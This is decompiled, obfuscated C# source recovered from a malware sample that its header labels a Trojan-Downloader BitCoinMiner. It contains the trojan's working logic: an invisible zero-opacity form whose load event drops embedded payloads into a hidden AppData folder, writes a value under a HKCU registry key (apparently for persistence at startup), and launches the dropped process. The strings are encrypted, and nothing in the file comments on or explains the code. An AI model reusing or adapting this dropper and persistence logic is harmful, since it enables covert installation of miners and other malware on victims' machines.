// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0004\u0003;
using \u000E;
using \u0019\u0002;
using \u009C\u0002;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace \u0004\u0003
{
  internal sealed class \u0003\u0003 : Form
  {
    private IContainer \u0001;

    [DebuggerNonUserCode]
    public \u0003\u0003()
    {
      \u0016\u0003 obj1 = \u0016\u0003.\u0098\u0006;
      \u0003\u0003 obj2 = this;
      // ISSUE: virtual method pointer
      EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0016\u0006));
      obj1((object) this, eventHandler);
      this.\u0011\u0006();
    }

    [DebuggerNonUserCode]
    protected override void Dispose([In] bool obj0)
    {
      try
      {
        if (!obj0 || this.\u0001 == null)
          return;
        \u0093\u0003.\u007E\u009E((object) this.\u0001);
      }
      finally
      {
        \u0013\u0003.\u0099\u0006((object) this, obj0);
      }
    }

    private void \u0011\u0006()
    {
      // ISSUE: type reference
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(\u0002\u0004.\u0092\u0003(__typeref (\u0003\u0003)));
      \u0093\u0003.\u007E\u008A\u0006((object) this);
      \u009D\u0003.\u007E\u008B\u0006((object) this, new SizeF(6f, 13f));
      \u0010\u0005.\u007E\u008C\u0006((object) this, AutoScaleMode.Font);
      \u000F\u0005.\u007E\u008F\u0006((object) this, new Size(1, 1));
      \u0013\u0003.\u007E\u0090\u0006((object) this, false);
      \u0012\u0005.\u007E\u008E\u0006((object) this, FormBorderStyle.None);
      \u001E\u0005.\u007E\u0091\u0006((object) this, (Icon) \u0019\u0004.\u007E\u0097\u0004((object) componentResourceManager, \u0008.\u000E\u0003(6889)));
      \u0013\u0003.\u007E\u0092\u0006((object) this, false);
      \u0013\u0003.\u007E\u0093\u0006((object) this, false);
      \u001B\u0003.\u007E\u0088\u0006((object) this, \u0008.\u000E\u0003(6906));
      \u0082\u0004.\u007E\u0094\u0006((object) this, 0.0);
      \u0013\u0003.\u007E\u0096\u0006((object) this, false);
      \u0013\u0003.\u007E\u0095\u0006((object) this, false);
      \u0008\u0005.\u007E\u0097\u0006((object) this, SizeGripStyle.Hide);
      \u0013\u0003.\u007E\u0089\u0006((object) this, false);
    }

    private void \u0012\u0006()
    {
label_0:
      int num1;
      int num2;
      try
      {
        int num3 = 1;
        string str1 = \u0007\u0005.\u007E\u0083((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()), \u0083\u0005.\u0083\u0006());
label_1:
        num3 = 2;
        string[] strArray = \u001C\u0005.\u0086(str1, \u0008.\u000E\u0003(6915), -1, CompareMethod.Binary);
label_2:
        num3 = 3;
        string str2 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[1], 0, 1));
label_3:
        num3 = 4;
        string str3 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[2], 0, 1));
label_4:
        num3 = 5;
        string str4 = \u0014\u0004.\u007E\u0015\u0002((object) \u0014\u0004.\u007E\u0084((object) \u0013\u0004.\u007E\u0082((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()))));
label_5:
        num3 = 6;
        string str5 = \u0008.\u000E\u0003(6928);
label_6:
        num3 = 7;
        string str6 = \u0014\u0004.\u007E\u0015\u0002((object) \u0083\u0003.\u001C\u0003(Environment.SpecialFolder.ApplicationData));
label_7:
        \u009E\u0004.\u0080();
        num1 = -2;
label_8:
        num3 = 9;
        string str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6933));
label_9:
        num3 = 10;
        \u0011\u0004.\u001D\u0005(str7);
label_10:
        num3 = 11;
        \u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str2, str7);
label_11:
        num3 = 12;
        this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
label_12:
        num3 = 13;
        str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6959));
label_13:
        num3 = 14;
        \u0011\u0004.\u001D\u0005(str7);
label_14:
        num3 = 15;
        \u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str3, str7);
label_15:
        num3 = 16;
        this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
label_16:
        num3 = 17;
        \u0003\u0003.\u0015\u0006(\u0008.\u000E\u0003(6976), \u0008.\u000E\u0003(6989));
label_17:
        num3 = 18;
        this.\u0013\u0006();
        goto label_24;
label_19:
        num2 = num3;
        switch (num1 > -2 ? num1 : 1)
        {
          case 1:
            int num4 = num2 + 1;
            num2 = 0;
            switch (num4)
            {
              case 1:
                goto label_0;
              case 2:
                goto label_1;
              case 3:
                goto label_2;
              case 4:
                goto label_3;
              case 5:
                goto label_4;
              case 6:
                goto label_5;
              case 7:
                goto label_6;
              case 8:
                goto label_7;
              case 9:
                goto label_8;
              case 10:
                goto label_9;
              case 11:
                goto label_10;
              case 12:
                goto label_11;
              case 13:
                goto label_12;
              case 14:
                goto label_13;
              case 15:
                goto label_14;
              case 16:
                goto label_15;
              case 17:
                goto label_16;
              case 18:
                goto label_17;
              case 19:
                goto label_24;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_19;
      }
      throw \u0095\u0003.\u001F(-2146828237);
label_24:
      if (num2 == 0)
        return;
      \u009E\u0004.\u0080();
    }

    private void \u0013\u0006()
    {
      Process process = new Process();
      ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0008.\u000E\u0003(6989));
      \u0091\u0003.\u007E\u001F\u0006((object) process, processStartInfo);
      int num = \u0007\u0003.\u007E\u0080\u0006((object) process) ? 1 : 0;
    }

    private void \u0014\u0006([In] string obj0, [In] string obj1)
    {
      if (!\u0005\u0005.\u0014\u0005(obj1))
        goto label_2;
label_1:
      new \u001A\u0002().\u0094\u0004(obj0, obj1, \u0008.\u000E\u0003(837));
      return;
label_2:
      DirectoryInfo directoryInfo = new DirectoryInfo(obj1);
      \u0093\u0003.\u007E\u0018\u0005((object) directoryInfo);
      \u008F\u0004.\u007E\u0016\u0005((object) directoryInfo, FileAttributes.Hidden);
      goto label_1;
    }

    public static void \u0015\u0006([In] string obj0, [In] string obj1)
    {
      RegistryKey currentUser = Registry.CurrentUser;
      RegistryKey registryKey = \u0090\u0003.\u007E\u0098\u0004((object) currentUser, \u0008.\u000E\u0003(7026), true);
      \u0092\u0003.\u007E\u0099\u0004((object) registryKey, obj0, (object) obj1, RegistryValueKind.String);
    }

    private void \u0016\u0006([In] object obj0, [In] EventArgs obj1) => this.\u0012\u0006();
  }
}
